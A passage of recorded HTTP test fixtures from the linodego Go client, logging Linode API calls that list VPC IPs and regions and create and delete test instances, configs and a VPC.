"linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 1953869, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 74465, "subnet_id": 72313, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.37.231"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "773" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"linode_id": 61342492}' url: https://api.linode.com/v4beta/vpcs/ips?page=1 method: GET response: body: '{"data": [{"address": "192.168.0.2", "address_range": null, "vpc_id": 74465, "subnet_id": 72313, "region": "us-iad", "linode_id": 61342492, "config_id": 64562059, "interface_id": 1953869, "active": false, "nat_1_1": "172.234.37.231", "gateway": "192.168.0.1", "prefix": 25, "subnet_mask": "255.255.255.128"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "346" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342492 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74465 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_ListIPAddresses.yaml000066400000000000000000001056241474652371000320320ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-639ba864mbrn","firewall_id":653635,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61342495, "label": "go-test-ins-wo-disk-639ba864mbrn", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.39.176"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "725110a70f6844a09a3ecf82037979e86ac5576e", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g9a5e47yn09e","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342495/configs method: POST response: body: '{"id": 64562062, "label": "go-test-conf-g9a5e47yn09e", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: 